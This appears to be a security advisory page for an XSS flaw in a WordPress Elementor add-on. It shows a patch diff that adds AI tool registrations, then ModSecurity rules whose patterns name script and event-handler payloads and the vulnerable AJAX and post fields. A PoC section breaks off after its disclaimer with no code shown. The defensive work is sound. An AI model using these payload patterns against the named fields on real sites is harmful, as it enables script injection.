-		$apply_global        = ! empty( $_POST['apply_global'] ) ? 'true' : '';
-		$page_layout         = TemplateSettingsSchema::sanitize_page_layout( isset( $_POST['page_layout'] ) ? $_POST['page_layout'] : '', '' );
-		$hook_apply_on_raw   = isset( $_POST['hook_apply_on'] ) ? (array) wp_unslash( $_POST['hook_apply_on'] ) : [];
-		$hook_post_types_raw = isset( $_POST['hook_post_types'] ) ? (array) wp_unslash( $_POST['hook_post_types'] ) : [];
-		$hook_taxonomies_raw = isset( $_POST['hook_taxonomies'] ) ? (array) wp_unslash( $_POST['hook_taxonomies'] ) : [];
-		$hook_apply_on       = TemplateSettingsSchema::sanitize_apply_on_values( $hook_apply_on_raw );
-		$hook_post_types     = TemplateSettingsSchema::sanitize_post_type_list( $hook_post_types_raw );
-		$hook_taxonomies     = TemplateSettingsSchema::sanitize_taxonomy_list( $hook_taxonomies_raw );
-		$hook_posts_selected = isset( $_POST['hook_posts_selected'] ) ? sanitize_text_field( wp_unslash( $_POST['hook_posts_selected'] ) ) : '';
-		$hook_posts_excluded = isset( $_POST['hook_posts_excluded'] ) ? sanitize_text_field( wp_unslash( $_POST['hook_posts_excluded'] ) ) : '';
-		$hook_terms_selected = isset( $_POST['hook_terms_selected'] ) ? sanitize_text_field( wp_unslash( $_POST['hook_terms_selected'] ) ) : '';
-		$hook_terms_excluded = isset( $_POST['hook_terms_excluded'] ) ? sanitize_text_field( wp_unslash( $_POST['hook_terms_excluded'] ) ) : '';
-
-		update_post_meta( $post_id, $meta_keys['render_mode'], $render_mode );
-		update_post_meta( $post_id, $meta_keys['usage_area'], $usage_area );
-		update_post_meta( $post_id, $meta_keys['custom_usage_area'], $custom_usage_area );
-		update_post_meta( $post_id, $meta_keys['rule_post_type'], $rule_post_type );
-		update_post_meta( $post_id, $meta_keys['preview_post'], $preview_post_id ? $preview_post_id : '' );
-		update_post_meta( $post_id, $meta_keys['rule_taxonomy'], $rule_taxonomy );
-		update_post_meta( $post_id, $meta_keys['preview_term'], $preview_term ? $preview_term : '' );
-		update_post_meta( $post_id, $meta_keys['repeater_loc'], $repeater_loc );
-		update_post_meta( $post_id, $meta_keys['acf_field_type'], $acf_field_type );
-		update_post_meta( $post_id, $meta_keys['acf_repeater'], $acf_repeater_name );
-		update_post_meta( $post_id, $meta_keys['acf_flexible'], $acf_flexible_name );
-		update_post_meta( $post_id, $meta_keys['apply_global'], $apply_global );
-		update_post_meta( $post_id, $meta_keys['hook_apply_on'], $hook_apply_on );
-		update_post_meta( $post_id, $meta_keys['hook_post_types'], $hook_post_types );
-		update_post_meta( $post_id, $meta_keys['hook_posts_selected'], $hook_posts_selected );
-		update_post_meta( $post_id, $meta_keys['hook_posts_excluded'], $hook_posts_excluded );
-		update_post_meta( $post_id, $meta_keys['hook_taxonomies'], $hook_taxonomies );
-		update_post_meta( $post_id, $meta_keys['hook_terms_selected'], $hook_terms_selected );
-		update_post_meta( $post_id, $meta_keys['hook_terms_excluded'], $hook_terms_excluded );
-		update_post_meta( $post_id, $meta_keys['page_layout'], $page_layout );
-
-		if ( $render_mode === 'post_type_archive_template' ) {
-			update_post_meta( $post_id, $meta_keys['rule_post_archive'], $rule_post_type );
-		}
-
-		$redirect_url = admin_url( 'post.php?post=' . $post_id . '&action=elementor' );
-
 		wp_send_json_success(
 			[
-				'post_id'      => $post_id,
-				'redirect_url' => $redirect_url,
+				'post_id'      => $result['post_id'],
+				'redirect_url' => $result['edit_url'],
 			]
 		);
 	}
--- a/anywhere-elementor/includes/aepro.php
+++ b/anywhere-elementor/includes/aepro.php
@@ -3,6 +3,8 @@
 namespace Aepro;

 use AeproClassesModuleManager;
+use AeproAiAbilities;
+use AeproAiEditorIntegration;
 use AeproControlsQuery;
 use AeproUpgradeManager as UpgradeManager;

@@ -235,7 +237,14 @@
         wp_enqueue_style('vegas-css', AE_PRO_URL . 'includes/assets/lib/vegas/vegas' . AE_PRO_SCRIPT_SUFFIX . '.css', [], '2.4.0');
         wp_enqueue_script('vegas', AE_PRO_URL . 'includes/assets/lib/vegas/vegas' . AE_PRO_SCRIPT_SUFFIX . '.js', [ 'jquery' ], '2.4.0', true);

-        wp_register_script('ae-elementor-editor-js-build', AE_PRO_URL . 'build/index' . AE_PRO_SCRIPT_SUFFIX . '.js', [ 'jquery', 'ae-gmap' ], AE_PRO_VERSION, false);
+        $map_key = get_option('ae_pro_gmap_api');
+
+        // ae-gmap only exists with an API key; a missing dependency stops WordPress loading the bundle.
+        $build_deps = $map_key ? [ 'jquery', 'ae-gmap' ] : [ 'jquery' ];
+        if ($map_key ) {
+            wp_register_script('ae-gmap', 'https://maps.googleapis.com/maps/api/js?loading=async&libraries=marker&key=' . rawurlencode( $map_key ), [], '1', false);
+        }
+        wp_register_script('ae-elementor-editor-js-build', AE_PRO_URL . 'build/index' . AE_PRO_SCRIPT_SUFFIX . '.js', $build_deps, AE_PRO_VERSION, false);

         $localize_data = [
         'plugin_url' => plugins_url('anywhere-elementor-pro'),
@@ -248,9 +257,8 @@
         // Swiper Slider Script - Enqueued from Elementor
         wp_enqueue_script('swiper');

-        $map_key = get_option('ae_pro_gmap_api');
         if ($map_key ) {
-            wp_enqueue_script('ae-gmap', 'https://maps.googleapis.com/maps/api/js?loading=async&libraries=marker&key=' . $map_key, [], '1', false);
+            wp_enqueue_script('ae-gmap');
             wp_enqueue_script('ae-gmap-cluster', 'https://unpkg.com/@googlemaps/markerclusterer/dist/index.min.js', [ 'ae-gmap' ], '1', false);
         }

@@ -341,6 +349,12 @@
         }

         self::$module_manager = new ModuleManager();
+
+        // AI tools (Angie / MCP clients) via the WordPress Abilities API.
+        if (function_exists('wp_register_ability') ) {
+            Abilities::instance();
+            EditorIntegration::instance();
+        }
     }

     public function ae_after_setup_theme()
@@ -479,7 +493,7 @@

         $map_key = get_option('ae_pro_gmap_api');
         if ($map_key ) {
-            wp_register_script('ae-gmap', 'https://maps.googleapis.com/maps/api/js?loading=async&libraries=marker&key=' . $map_key, [], '1', true);
+            wp_register_script('ae-gmap', 'https://maps.googleapis.com/maps/api/js?loading=async&libraries=marker&key=' . rawurlencode( $map_key ), [], '1', true);
             wp_enqueue_script('ae-gmap-cluster', 'https://unpkg.com/@googlemaps/markerclusterer/dist/index.min.js', [ 'ae-gmap' ], '1', false);
         }

--- a/anywhere-elementor/includes/ai/abilities.php
+++ b/anywhere-elementor/includes/ai/abilities.php
@@ -0,0 +1,828 @@
+<?php
+
+namespace AeproAi;
+
+use AeproAdminTemplateSettingsSchema;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Registers Dynific AI tools with the WordPress Abilities API.
+ * Angie and other MCP clients discover them automatically.
+ */
+class Abilities {
+
+	const CATEGORY = 'dynific';
+
+	private static $_instance = null;
+
+	/**
+	 * Ability names registered in this request.
+	 *
+	 * @var string[]
+	 */
+	private $registered = [];
+
+	public static function instance() {
+		if ( is_null( self::$_instance ) ) {
+			self::$_instance = new self();
+		}
+		return self::$_instance;
+	}
+
+	private function __construct() {
+		add_action( 'wp_abilities_api_categories_init', [ $this, 'register_category' ] );
+		add_action( 'wp_abilities_api_init', [ $this, 'register_abilities' ] );
+
+		// Also list them on Elementor's own MCP server.
+		add_filter( 'elementor/mcp/server/tools', [ $this, 'add_to_elementor_mcp' ] );
+	}
+
+	public function register_category() {
+		wp_register_ability_category(
+			self::CATEGORY,
+			[
+				'label'       => __( 'Dynific Addons', 'ae-pro' ),
+				'description' => __( 'Create Dynific templates (block layouts, single, archive) with dynamic widgets.', 'ae-pro' ),
+			]
+		);
+	}
+
+	public function register_abilities() {
+		$read_only = [
+			'readonly'    => true,
+			'destructive' => false,
+			'idempotent'  => true,
+		];
+		$can_read  = [ WidgetCatalog::class, 'current_user_can_access' ];
+
+		$this->register(
+			'dynific/get-guide',
+			[
+				'label'               => __( 'Dynific: how to build templates', 'ae-pro' ),
+				'description'         => 'READ FIRST before creating any Dynific template, block layout, single post template or archive template. Returns the workflow and rules.',
+				'input_schema'        => $this->object_schema(),
+				'execute_callback'    => [ $this, 'execute_get_guide' ],
+				'permission_callback' => $can_read,
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/list-template-types',
+			[
+				'label'               => __( 'Dynific: list template types', 'ae-pro' ),
+				'description'         => 'Lists Dynific template types (block_layout, single, taxonomy_archive …) with the fields each one needs, Pro lock status, and valid post types / page layouts.',
+				'input_schema'        => $this->object_schema(),
+				'execute_callback'    => [ $this, 'execute_list_template_types' ],
+				'permission_callback' => $can_read,
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/list-sample-posts',
+			[
+				'label'               => __( 'Dynific: list sample posts', 'ae-pro' ),
+				'description'         => 'Lists recent published posts of a post type, to use as preview_post_id so the template shows real content in the editor.',
+				'input_schema'        => $this->object_schema(
+					[
+						'post_type' => [
+							'type'    => 'string',
+							'default' => 'post',
+						],
+						'search'    => [ 'type' => 'string' ],
+						'limit'     => [
+							'type'    => 'integer',
+							'default' => 10,
+							'minimum' => 1,
+							'maximum' => 50,
+						],
+					]
+				),
+				'execute_callback'    => [ $this, 'execute_list_sample_posts' ],
+				'permission_callback' => $can_read,
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/list-widgets',
+			[
+				'label'               => __( 'Dynific: list widgets', 'ae-pro' ),
+				'description'         => 'Lists Dynific dynamic widgets (ae-post-title, ae-post-image, ae-post-meta …). They render the CURRENT post's data inside Dynific templates.',
+				'input_schema'        => $this->object_schema(),
+				'execute_callback'    => [ $this, 'execute_list_widgets' ],
+				'permission_callback' => $can_read,
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/get-widget-schema',
+			[
+				'label'               => __( 'Dynific: get widget schema', 'ae-pro' ),
+				'description'         => 'Exact setting keys, types, options and defaults of one Dynific widget. Use these keys verbatim in dynific/set-template-content. Default tab=content; use tab=style for colours/typography and tab=advanced for _margin, _padding, _css_classes. Large tabs return a compact index; then pass keys=[…] for full definitions.',
+				'input_schema'        => $this->object_schema(
+					[
+						'widget' => [
+							'type'        => 'string',
+							'description' => 'Widget name from dynific/list-widgets, e.g. ae-post-title',
+						],
+						'tab'    => [
+							'type'    => 'string',
+							'enum'    => [ 'content', 'style', 'advanced', 'all' ],
+							'default' => 'content',
+						],
+						'keys'   => [
+							'type'        => 'array',
+							'items'       => [ 'type' => 'string' ],
+							'maxItems'    => 50,
+							'description' => 'Only these setting keys, with full definitions (e.g. ["_margin","_padding"])',
+						],
+					],
+					[ 'widget' ]
+				),
+				'execute_callback'    => [ $this, 'execute_get_widget_schema' ],
+				'permission_callback' => $can_read,
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/create-template',
+			[
+				'label'               => __( 'Dynific: create template', 'ae-pro' ),
+				'description'         => 'Creates a Dynific template with its settings (render mode, post type, preview post, page layout). Block layouts and ACF repeater layouts are PUBLISHED by default so listing widgets can use them at once (they do not change the site on their own); all other types are drafts unless status=publish (only when the user asked). Returns post_id, status and edit_url. Then add widgets with dynific/set-template-content.',
+				'input_schema'        => $this->object_schema(
+					[
+						'template_type'   => [
+							'type'        => 'string',
+							'description' => 'Key from dynific/list-template-types, e.g. block_layout',
+						],
+						'template_name'   => [ 'type' => 'string' ],
+						'rule_post_type'  => [
+							'type'    => 'string',
+							'default' => 'post',
+						],
+						'preview_post_id' => [ 'type' => 'integer' ],
+						'page_layout'     => [
+							'type'        => 'string',
+							'description' => 'Key from page_layouts in dynific/list-template-types; empty for default',
+							'default'     => '',
+						],
+						'rule_taxonomy'   => [ 'type' => 'string' ],
+						'preview_term'    => [ 'type' => 'integer' ],
+						'apply_global'    => [ 'type' => 'boolean' ],
+						'status'          => [
+							'type'        => 'string',
+							'enum'        => TemplateService::STATUSES,
+							'description' => 'Omit for the default: publish for block_layout / acf_blocks, draft for the rest',
+						],
+					],
+					[ 'template_type', 'template_name' ]
+				),
+				'execute_callback'    => [ $this, 'execute_create_template' ],
+				'permission_callback' => [ $this, 'can_create_template' ],
+			],
+			[
+				'readonly'    => false,
+				'destructive' => false,
+				'idempotent'  => false,
+			]
+		);
+
+		$this->register(
+			'dynific/get-template',
+			[
+				'label'               => __( 'Dynific: get template settings', 'ae-pro' ),
+				'description'         => 'Returns a Dynific template's title, status (draft/publish), type and settings (rule_post_type, apply_global, preview post, page layout …) plus notes on whether it is live and which other template may win.',
+				'input_schema'        => $this->object_schema(
+					[
+						'template_id' => [ 'type' => 'integer' ],
+					],
+					[ 'template_id' ]
+				),
+				'execute_callback'    => [ $this, 'execute_get_template' ],
+				'permission_callback' => [ $this, 'can_edit_template' ],
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/update-template',
+			[
+				'label'               => __( 'Dynific: update template settings or publish', 'ae-pro' ),
+				'description'         => 'Changes a SAVED Dynific template: status (publish/draft/pending/private), title, and settings such as rule_post_type (which post type it is for) and apply_global (use it for ALL posts of that type). Send only what changes. Publishing a template with apply_global changes the live site – ask the user first. NEVER use this to publish or save a template that is open in the Elementor editor (the user is editing it): it would publish the old saved version without the editor changes – use dynific-editor-save-document there.',
+				'input_schema'        => $this->object_schema(
+					[
+						'template_id'     => [ 'type' => 'integer' ],
+						'title'           => [ 'type' => 'string' ],
+						'status'          => [
+							'type' => 'string',
+							'enum' => TemplateService::STATUSES,
+						],
+						'template_type'   => [
+							'type'        => 'string',
+							'description' => 'Change the type (key from dynific/list-template-types). Rarely needed.',
+						],
+						'rule_post_type'  => [
+							'type'        => 'string',
+							'description' => 'Post type slug the template is for, e.g. movie',
+						],
+						'apply_global'    => [
+							'type'        => 'boolean',
+							'description' => 'true = default template for every post of rule_post_type (single) or every term of rule_taxonomy (archive)',
+						],
+						'preview_post_id' => [ 'type' => 'integer' ],
+						'page_layout'     => [ 'type' => 'string' ],
+						'rule_taxonomy'   => [ 'type' => 'string' ],
+						'preview_term'    => [ 'type' => 'integer' ],
+					],
+					[ 'template_id' ]
+				),
+				'execute_callback'    => [ $this, 'execute_update_template' ],
+				'permission_callback' => [ $this, 'can_edit_template' ],
+			],
+			[
+				'readonly'    => false,
+				'destructive' => false,
+				'idempotent'  => true,
+			]
+		);
+
+		$this->register(
+			'dynific/assign-template-to-post',
+			[
+				'label'               => __( 'Dynific: assign template to specific posts', 'ae-pro' ),
+				'description'         => 'Per-post override, same as the "Select Layout" box on the post edit screen. action=assign uses a PUBLISHED single template (template_type=single) on these posts only; use_global returns them to the global template; disable shows no Dynific template on them. For ALL posts of a type use dynific/update-template with rule_post_type + apply_global=true instead.',
+				'input_schema'        => $this->object_schema(
+					[
+						'post_ids'    => [
+							'type'     => 'array',
+							'items'    => [ 'type' => 'integer' ],
+							'minItems' => 1,
+							'maxItems' => TemplateService::MAX_ASSIGN_POSTS,
+						],
+						'action'      => [
+							'type'    => 'string',
+							'enum'    => [ 'assign', 'use_global', 'disable' ],
+							'default' => 'assign',
+						],
+						'template_id' => [
+							'type'        => 'integer',
+							'description' => 'Required for action=assign',
+						],
+					],
+					[ 'post_ids' ]
+				),
+				'execute_callback'    => [ $this, 'execute_assign_template_to_post' ],
+				'permission_callback' => $can_read,
+			],
+			[
+				'readonly'    => false,
+				'destructive' => false,
+				'idempotent'  => true,
+			]
+		);
+
+		$this->register(
+			'dynific/get-template-content',
+			[
+				'label'               => __( 'Dynific: get template content', 'ae-pro' ),
+				'description'         => 'Returns the saved element tree of a Dynific template (element ids, widget types, settings). Use it before changing a template that is NOT open in the Elementor editor.',
+				'input_schema'        => $this->object_schema(
+					[
+						'template_id' => [ 'type' => 'integer' ],
+					],
+					[ 'template_id' ]
+				),
+				'execute_callback'    => [ $this, 'execute_get_template_content' ],
+				'permission_callback' => [ $this, 'can_edit_template' ],
+			],
+			$read_only
+		);
+
+		$this->register(
+			'dynific/set-template-content',
+			[
+				'label'               => __( 'Dynific: set template content', 'ae-pro' ),
+				'description'         => 'Writes Dynific widgets into a SAVED Dynific template as one vertical stack (do not use while it is open in the Elementor editor). For columns, rows or any other structure use Elementor's elementor/build-composition instead. mode=replace overwrites existing content; append adds below. Setting keys, values and ACF fields are validated; nothing is saved if anything is invalid.',
+				'input_schema'        => $this->object_schema(
+					[
+						'template_id' => [ 'type' => 'integer' ],
+						'mode'        => [
+							'type'    => 'string',
+							'enum'    => [ 'replace', 'append' ],
+							'default' => 'replace',
+						],
+						'widgets'     => [
+							'type'     => 'array',
+							'minItems' => 1,
+							'maxItems' => ContentBuilder::MAX_WIDGETS,
+							'items'    => [
+								'type'       => 'object',
+								'properties' => [
+									'widget'   => [ 'type' => 'string' ],
+									'settings' => [ 'type' => 'object' ],
+								],
+								'required'   => [ 'widget' ],
+							],
+						],
+					],
+					[ 'template_id', 'widgets' ]
+				),
+				'execute_callback'    => [ $this, 'execute_set_template_content' ],
+				'permission_callback' => [ $this, 'can_edit_template' ],
+			],
+			[
+				'readonly'    => false,
+				'destructive' => true,
+				'idempotent'  => false,
+			]
+		);
+
+		// Post Blocks is a Pro widget.
+		if ( aepro_is_pro_active() ) {
+			$this->register(
+				'dynific/add-post-blocks-to-page',
+				[
+					'label'               => __( 'Dynific: add Post Blocks to a page', 'ae-pro' ),
+					'description'         => 'Appends a Post Blocks widget (ae-post-blocks) that lists posts using a PUBLISHED Dynific block layout to an Elementor page. Published pages need allow_published=true, only after the user confirms. Extra settings are validated against dynific/get-widget-schema for ae-post-blocks. If the page is open in the Elementor editor, add the widget there with dynific-editor-add-widgets instead.',
+					'input_schema'        => $this->object_schema(
+						[
+							'page_id'         => [ 'type' => 'integer' ],
+							'layout_id'       => [
+								'type'        => 'integer',
+								'description' => 'Block layout template ID (template_type=block_layout)',
+							],
+							'post_type'       => [
+								'type'        => 'string',
+								'description' => 'Posts to list. Defaults to the layout's post type.',
+							],
+							'settings'        => [ 'type' => 'object' ],
+							'allow_published' => [
+								'type'    => 'boolean',
+								'default' => false,
+							],
+						],
+						[ 'page_id', 'layout_id' ]
+					),
+					'execute_callback'    => [ $this, 'execute_add_post_blocks_to_page' ],
+					'permission_callback' => [ $this, 'can_edit_page' ],
+				],
+				[
+					'readonly'    => false,
+					'destructive' => false,
+					'idempotent'  => false,
+				]
+			);
+		}
+
+		if ( function_exists( 'acf_get_field_groups' ) ) {
+			$this->register(
+				'dynific/list-acf-fields',
+				[
+					'label'               => __( 'Dynific: list ACF fields', 'ae-pro' ),
+					'description'         => 'Lists ACF field groups and their fields (name, type, sub fields). Each field has "use": the exact Dynific widget and settings that display it – add that widget with those settings. Call it BEFORE adding any ACF widget.',
+					'input_schema'        => $this->object_schema(
+						[
+							'template_id' => [
+								'type'        => 'integer',
+								'description' => 'Only fields for the post type of this Dynific template',
+							],
+							'post_type'   => [
+								'type'        => 'string',
+								'description' => 'Only groups shown on this post type',
+							],
+							'field_type' => [
+								'type'        => 'string',
+								'description' => 'Only fields of this ACF type, e.g. repeater, gallery, text',
+							],
+						]
+					),
+					'execute_callback'    => [ $this, 'execute_list_acf_fields' ],
+					'permission_callback' => $can_read,
+				],
+				$read_only
+			);
+		}
+	}
+
+	/* ---------- Permission callbacks ---------- */
+
+	public function can_create_template( $input = null ) {
+		return WidgetCatalog::current_user_can_access( $input ) && current_user_can( TemplateService::get_create_capability() );
+	}
+
+	public function can_edit_template( $input = null ) {
+		$id = is_array( $input ) && isset( $input['template_id'] ) ? absint( $input['template_id'] ) : 0;
+
+		return WidgetCatalog::current_user_can_access( $input ) && $id && current_user_can( 'edit_post', $id );
+	}
+
+	public function can_edit_page( $input = null ) {
+		$id = is_array( $input ) && isset( $input['page_id'] ) ? absint( $input['page_id'] ) : 0;
+
+		return WidgetCatalog::current_user_can_access( $input ) && $id && current_user_can( 'edit_post', $id );
+	}
+
+	/* ---------- Execute callbacks ---------- */
+
+	public function execute_get_guide() {
+		return [ 'guide' => self::get_guide_text() ];
+	}
+
+	/**
+	 * Workflow + rules for AI clients. Shared by dynific/get-guide and the Angie editor server instructions.
+	 *
+	 * @return string
+	 */
+	public static function get_guide_text() {
+		$lines = [
+			'Dynific templates are posts of type ae_global_templates, edited with Elementor.',
+			'Block Layout (template_type=block_layout) = how ONE post looks inside a grid/list; the Post Blocks widget (ae-post-blocks) repeats it for every post.',
+			'Workflow for a NEW template:',
+			'1. dynific/list-template-types → pick the type, note required_fields and is_locked (locked = needs Pro, do not use).',
+			'2. dynific/list-sample-posts for the rule_post_type → choose a post WITH a thumbnail as preview_post_id.',
+			'3. dynific/create-template. Block layouts are published straight away (safe: they only show inside a listing widget). Single, archive and other types are drafts unless the user asked to publish (status=publish).',
+			'4. dynific/list-widgets, then dynific/get-widget-schema for every widget you will use.',
+			'5. dynific/set-template-content with the widgets in visual order, e.g. ae-post-image → ae-post-title → ae-post-meta.',
+			'6. Give the user the edit_url to review. Publish a draft template only when the user asks (step below).',
+			'CHANGING an existing template:',
+			'- If the template is OPEN in the Elementor editor, use the dynific-editor tools (get-open-document, add-widgets, update-widget, move-element, remove-element, save-document). They change the open editor live. Never call dynific/set-template-content for a template that is open in the editor – the editor would overwrite it on the next save.',
+			'- Otherwise read it with dynific/get-template-content, then write it with dynific/set-template-content (mode=replace sends the full list).',
+			'- The same editor tools work on ANY page or post open in Elementor, not only templates: dynific-editor-add-widgets adds any Dynific widget there, including listings (ae-post-blocks, ae-post-blocks-adv, ae-portfolio …) that show a block layout.',
+			'PUBLISHING and WHERE a template applies:',
+			'- Check the current state with dynific/get-template (status, settings, notes).',
+			'- When the user is in the Elementor editor and says publish, save or update: ALWAYS dynific-editor-save-document (it saves the live changes, then publishes). NEVER dynific/update-template for that – it only changes the status and the page shows the old saved (often empty) content. If the editor tool is not available, ask the user to click Publish/Update.',
+			'- Template NOT open in the editor: dynific/update-template status=publish.',
+			'- All posts of a post type (e.g. every movie): dynific/update-template with template_type single, rule_post_type=movie, apply_global=true, status=publish. Read its notes – another global template for the same post type may win.',
+			'- Only some posts: publish the single template, then dynific/assign-template-to-post with post_ids (action=use_global undoes it).',
+			'- Taxonomy archives: rule_taxonomy + apply_global=true. Block layouts never apply by themselves; they are shown by listing widgets (see below).',
+			'- Publishing or applying a template changes the live site: confirm with the user first, and never publish without being asked.',
+			'Rules: Dynific widgets show the current post's data automatically – never put static titles or text in them.',
+			'Use only setting keys from get-widget-schema; omit settings to keep defaults.',
+			'Settings that take a template or block layout ID (template, layout, alt_template, …) need a PUBLISHED template; a draft shows nothing to visitors.',
+			'Prefer Dynific widgets over core Heading/Image widgets inside Dynific templates.',
+			'Elementor's tools do not check Dynific widget settings: when you place Dynific widgets with elementor/build-composition, use exact keys from dynific/get-widget-schema and, for ACF widgets, the field NAME from dynific/list-acf-fields "use" (never the field key) – otherwise the widget shows nothing.',
+		];
+
+		$lines = array_merge( $lines, self::get_layout_lines() );
+		$lines = array_merge( $lines, self::get_widget_map_lines() );
+
+		if ( function_exists( 'acf_get_field_groups' ) ) {
+			$lines[] = 'ACF and custom-field widgets show NOTHING without their field. Never add ae-acf-fields-v2, ae-acf-gallery, ae-acf-repeater, ae-acf-flexible-content, ae-cf-google-map or ae-custom-field without it.';
+			$lines[] = 'To pick the field: call dynific/list-acf-fields (pass template_id) and add the widget with the settings in the field's "use". If the user's words match exactly one field, use it. If several fields could match (e.g. "the date" with release_date and published_date) or none does, ASK the user which field to show before adding anything.';
+			$lines[] = 'Choose a preview post that has a value for the field, so it shows in the editor (dynific/list-sample-posts).';
+		}
+
+		if ( aepro_is_pro_active() ) {
+			$lines[] = 'To show a block layout on a page: if the page is open in the Elementor editor, call dynific-editor-add-widgets with {widget:"ae-post-blocks", settings:{template:"<layout id>", ae_post_type:"<post type>"}}; otherwise call dynific/add-post-blocks-to-page. Ask the user before changing a published page.';
+		}
+
+		return implode( "n", $lines );
+	}
+
+	/**
+	 * Structure (columns, rows, boxes) is Elementor's job: its build-composition, manage-elements
+	 * and publish-document tools. The guide only explains how Dynific widgets fit into them.
+	 *
+	 * @return string[]
+	 */
+	private static function get_layout_lines() {
+		if ( ! CompositionService::is_available() ) {
+			return [
+				'LAYOUTS: Elementor's structure tools (elementor/build-composition) need Elementor 4's editor, which is off on this site. The dynific tools add widgets as one stack; for columns ask the user to arrange them in the editor, then fill boxes with dynific-editor-add-widgets parent_id.',
+			];
+		}
+
+		return [
+			'LAYOUTS / STRUCTURE (columns, rows, any arrangement) are built by Elementor's own tools: elementor/build-composition to create, elementor/manage-elements to change, elementor/publish-document (or dynific/update-template status=publish) to make it live – only when the user asks.',
+			'- In xml_structure use Elementor boxes (e-flexbox = children side by side or stacked, e-div-block = a column / box, e-grid) and Dynific widgets by name, e.g. <ae-post-image configuration-id="img"></ae-post-image>. Sizes and spacing go in style as CSS, e.g. {"left": "width: 40%;"}.',
+			'- Example (image left 40%, details right 60%): xml_structure <e-flexbox configuration-id="row"><e-div-block configuration-id="left"><ae-post-image configuration-id="img"></ae-post-image></e-div-block><e-div-block configuration-id="right"><ae-post-title configuration-id="title"></ae-post-title><ae-acf-fields-v2 configuration-id="rating"></ae-acf-fields-v2><ae-acf-fields-v2 configuration-id="duration"></ae-acf-fields-v2></e-div-block></e-flexbox>; element_config {"rating": {"field_name": "rating", "field_type": "number"}, "duration": {"field_name": "duration", "field_type": "text"}}; style {"row": "flex-direction: row; gap: 20px;", "left": "width: 40%;", "right": "width: 60%;"}.',
+			'- Build structure while the document is NOT open in the Elementor editor: Elementor saves it as a staged draft, an open editor does not show it and its auto-save overwrites it. If it is open, ask the user to save and close (or reload) the editor first.',
+			'- Inside the open editor, Dynific widgets can still be added into an existing box with dynific-editor-add-widgets parent_id=<box id>, and moved with dynific-editor-move-element.',
+		];
+	}
+
+	/**
+	 * "Need → widget" map with each widget's data sources and setting keys.
+	 * Only widgets registered on this site (enabled, licensed, integration active) are listed.
+	 *
+	 * @return string[]
+	 */
+	private static function get_widget_map_lines() {
+		$groups = [
+			'POST DATA (reads the current post: the preview post in the editor, each post inside a block layout):' => [
+				'ae-post-title'      => 'post title. title_type=post_title (current post) or archive_title (current archive/term title, for archive templates). use_link=1 links to the post; title_tag h1–h6/div/span; strip_title=yes + strip_mode (word|letter) + strip_size + strip_append to shorten.',
+				'ae-post-image'      => 'featured image of the current post. image_size, enable_image_ratio + image_ratio, links_to (""|post|media), open_lightbox, fallback_image (shown when the post has no thumbnail), show_overlay (hover|always|never).',
+				'ae-post-meta'       => 'meta line: switch parts on/off with show_date, show_author, show_category, show_tags, show_comment (each has *_label, *_icon, *_order, disable_*_link). date_type published|modified, date_format; layout_mode horizontal|vertical; only_parent_term for categories.',
+				'ae-post-content'    => 'body text. content_type=post_content (current post; show_excerpt=1 + excerpt_size for an excerpt, enable_unfold for "read more" folding) or term_content (term description on archive templates).',
+				'ae-post-readmore'   => '"Read more" button linking to the current post (read_more_text, icon).',
+				'ae-author'          => 'author of the current post – ONE value per widget: render_data avatar | first_name | last_name | first_last | nickname | description (bio). An author box = several ae-author widgets. add_link none|author (author archive)|post.',
+				'ae-post-navigation' => 'previous / next post links (post_title=1 shows their titles; layout_mode layout-1|layout-2). Single post templates only.',
+				'ae-post-comments'   => 'comments list + form of the current post (Beta). Single post templates only.',
+				'ae-taxonomy'        => 'terms of the CURRENT post for one taxonomy (ae_taxonomy = taxonomy slug), e.g. category badges or tag list. tax_label, tax_separator, tax_vertical, disable_link.',
+			],
+			'CUSTOM FIELDS (any post meta, no ACF needed):' => [
+				'ae-custom-field'     => 'value of a post meta key of the current post: custom-field = meta key (REQUIRED – ask the user if you do not know it). cf_type sets how it renders: text | html | link (link_type default|email|tel) | image | video (youtube|vimeo) | audio | oembed | date. cf_label adds a label.',
+				'ae-tax-custom-field' => 'term meta value: source=current_archive (the archive term) or current_post (terms of the current post, pick ae_post_taxonomy)

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-117522
# Block XSS attempts via ae_preview_term AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026117522,phase:2,deny,status:403,chain,msg:'CVE-2026-117522 via Dynific Addons ae_preview_term XSS',severity:'CRITICAL',tag:'CVE-2026-117522'"
    SecRule ARGS_POST:action "@streq ae_preview_term" "chain"
        SecRule ARGS_POST:q "@rx <script|onerror=|onload=|javascript:|alert(|prompt(|confirm(" "t:none"

# Block XSS attempts via ae_preview_post AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026117523,phase:2,deny,status:403,chain,msg:'CVE-2026-117522 via Dynific Addons ae_preview_post XSS',severity:'CRITICAL',tag:'CVE-2026-117522'"
    SecRule ARGS_POST:action "@streq ae_preview_post" "chain"
        SecRule ARGS_POST:q "@rx <script|onerror=|onload=|javascript:|alert(|prompt(|confirm(" "t:none"

# Block XSS attempts via template-config save (ae_preview_author field)
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
    "id:2026117524,phase:2,deny,status:403,chain,msg:'CVE-2026-117522 via Dynific Addons template config XSS',severity:'CRITICAL',tag:'CVE-2026-117522'"
    SecRule ARGS_POST:ae_preview_author "@rx <script|onerror=|onload=|javascript:|alert(|prompt(|confirm(" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
